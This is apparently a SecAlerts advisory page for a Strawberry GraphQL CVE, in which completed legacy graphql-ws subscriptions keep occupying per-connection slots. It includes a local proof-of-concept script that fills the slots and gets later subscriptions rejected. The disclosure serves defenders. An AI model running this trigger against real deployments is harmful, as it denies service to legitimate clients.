CVE-2026-107727: Strawberry legacy graphql-ws retains naturally completed subscription slots

Published Oct 8, 2026
·
Updated

Summary

Strawberry's legacy graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures maxsubscriptionsperconnection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit reached.

This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy graphql-ws protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured maxsubscriptionsperconnection limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.

Details

The audited snapshot is Strawberry 0.324.4, commit c3caabd1188acda62045e7fd9ba9e37ac430cf96. The relevant implementation is in [strawberry/subscriptions/protocols/graphqlws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphqlws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.

When a new operation is started, the handler rejects it once the task count reaches the configured limit:

python if ( self.maxsubscriptionsperconnection is not None and len(self.tasks) >= self.maxsubscriptionsperconnection ): await self.sendmessage( ErrorMessage( type="error", id=operationid, payload={"message": "Subscription limit reached"}, ) ) return

The operation task is stored in self.tasks, and its result source is stored in self.subscriptions. On normal exhaustion of the result source, handleasyncresults() sends a completion message:

python async for result in resultsource: await self.senddatamessage(result, operationid)

await self.sendmessage( CompleteMessage(type="complete", id=operationid) )

The natural completion path does not call cleanupoperation() before returning. The deletion of the stored operation state is implemented separately:

python async def cleanupoperation(self, operationid: str) -> None: if operationid in self.subscriptions: await self.subscriptions[operationid].aclose() del self.subscriptions[operationid]

self.tasks[operationid].cancel() await self.tasks[operationid] del self.tasks[operationid]

Consequently, after a one-shot operation has sent complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.

The connection-slot impact requires both parts of the behavior:

1. the natural-completion path leaves the completed operation accounted for; and 2. the legacy handler has maxsubscriptionsperconnection enabled.

PoC

The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.

1. Environment installation

Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:

bash python -m pip install "strawberry-graphql[channels]==0.324.4" daphne

For a different tested release, replace 0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.

Record the actual versions before testing:

bash python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"

2. Save the bounded test

Save the following as poc.py:

python import asyncio

from django.conf import settings

if not settings.configured: settings.configure( SECRETKEY="local-validation-only", CHANNELLAYERS={ "default": { "BACKEND": "channels.layers.InMemoryChannelLayer", } }, )

import strawberry from channels.testing import WebsocketCommunicator

from strawberry.channels.handlers.wshandler import GraphQLWSConsumer from strawberry.schema import Schema from strawberry.subscriptions import GRAPHQLWSPROTOCOL

@strawberry.type class Query: @strawberry.field def ping(self) -> str: return "pong"

@strawberry.type class Subscription: @strawberry.subscription async def oneshot(self) -> str: yield "marker"

schema = Schema(query=Query, subscription=Subscription)

application = GraphQLWSConsumer.asasgi( schema=schema, subscriptionprotocols=(GRAPHQLWSPROTOCOL,), maxsubscriptionsperconnection=2, )

async def receiveuntilcomplete(communicator, operationid): messages = [] for in range(3): message = await asyncio.waitfor( communicator.receivejsonfrom(), timeout=2 ) messages.append(message) if ( message.get("type") == "complete" and message.get("id") == operationid ): return messages raise AssertionError( f"no complete message for {operationid}: {messages}" )

async def main() -> None: communicator = WebsocketCommunicator( application, "/graphql", subprotocols=[GRAPHQLWSPROTOCOL], ) connected, acceptedprotocol = await communicator.connect() assert connected assert acceptedprotocol == GRAPHQLWSPROTOCOL

try: await communicator.sendjsonto({"type": "connectioninit"}) ack = await communicator.receivejsonfrom() assert ack["type"] == "connectionack"

query = "subscription { oneShot }"

await communicator.sendjsonto( { "type": "start", "id": "one", "payload": {"query": query}, } ) firstmessages = await receiveuntilcomplete( communicator, "one" )

await communicator.sendjsonto( { "type": "start", "id": "two", "payload": {"query": query}, } ) secondmessages = await receiveuntilcomplete( communicator, "two" )

# Allow completed handler tasks to finish their sends before the # third operation is started. await asyncio.sleep(0)

await communicator.sendjsonto( { "type": "start", "id": "three", "payload": {"query": query}, } ) thirdmessage = await asyncio.waitfor( communicator.receivejsonfrom(), timeout=2 )

print( { "first": firstmessages, "second": secondmessages, "third": thirdmessage, } ) finally: await communicator.disconnect()

asyncio.run(main())

3. Run

bash python poc.py

4. Expected results

A fixed implementation should send data and complete for both one and two, then permit three to start and complete.

The behavior is:

text { 'first': [ {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'one'} ], 'second': [ {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'two'} ], 'third': { 'type': 'error', 'id': 'three', 'payload': {'message': 'Subscription limit reached'} } }

The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that one and two both receive complete, while three receives Subscription limit reached with a different operation ID.

Impact

When the legacy graphql-ws protocol and maxsubscriptionsperconnection are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.

The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.

Exposure depends on:

- the application explicitly enabling the legacy graphql-ws protocol; - the application configuring maxsubscriptionsperconnection; - clients being able to maintain a persistent WebSocket connection; - the resolver exposing a finite operation that naturally completes; - the absence of effective connection lifetime, connection-count, authorization, or rate limits.

This report does not claim impact on the modern graphql-transport-ws protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.

Maintainer note

Confirmed and reproduced against 0.327.0. The maxsubscriptionsperconnection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.

Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late stop for a completed operation is a no-op. The fix was released in 0.327.2.

Other sources

Strawberry GraphQL is a library for creating GraphQL APIs. From 0.312.3 until 0.327.2, the legacy graphql-ws subscription handler in strawberry/subscriptions/protocols/graphqlws/handlers.py does not remove naturally completed operations from self.tasks and self.subscriptions. When maxsubscriptionsperconnection is configured, a client on a persistent WebSocket connection can use distinct operation IDs for one-shot subscriptions to fill the connection's configured slots even after those subscriptions send complete, causing later legitimate operations on that connection to be rejected with Subscription limit reached. The modern graphql-transport-ws protocol and deployments without the configured per-connection cap are not affected. This issue is fixed in version 0.327.2.

— MITRE

Affected Software

2 affected componentsFixes available
pypi/strawberry-graphql>=0.312.3<0.327.2
pip/strawberry-graphql>=0.312.3<0.327.2
0.327.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/strawberry-graphql to a version that resolves this vulnerability.

    Fixed in 0.327.2
  2. Upgrade

    Upgrade strawberry-graphql to a version that resolves this vulnerability.

    Fixed in 0.327.2

Event History

Oct 8, 2026
CVE Published
via MITRE·10:11 PM
Data Sourced
via MITRE·10:11 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 PM
DescriptionSeverityWeakness
Oct 9, 2026
Advisory Published
via GitHub·02:07 PM
Data Sourced
via GitHub·02:07 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are affected?

Affected deployments use Strawberry GraphQL versions from 0.312.3 until 0.327.2, the legacy graphql-ws subscription protocol, and a configured max_subscriptions_per_connection limit. Deployments using graphql-transport-ws or without that per-connection cap are not affected.

2

What does an attacker need to do to trigger the issue?

An attacker needs to maintain a WebSocket connection and submit one-shot subscriptions with distinct operation IDs. Naturally completed subscriptions continue consuming the configured per-connection slots, so later operations on that same connection are rejected.

3

What is the impact on an affected connection?

The issue causes availability impact limited to the persistent WebSocket connection being filled. Legitimate later subscription operations on that connection can fail with "Subscription limit reached".

4

What should be done to remediate the issue?

Upgrade Strawberry GraphQL to version 0.327.2, which fixes the issue. If upgrading is not immediately possible, avoid using the legacy graphql-ws protocol or remove the configured per-connection subscription cap.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203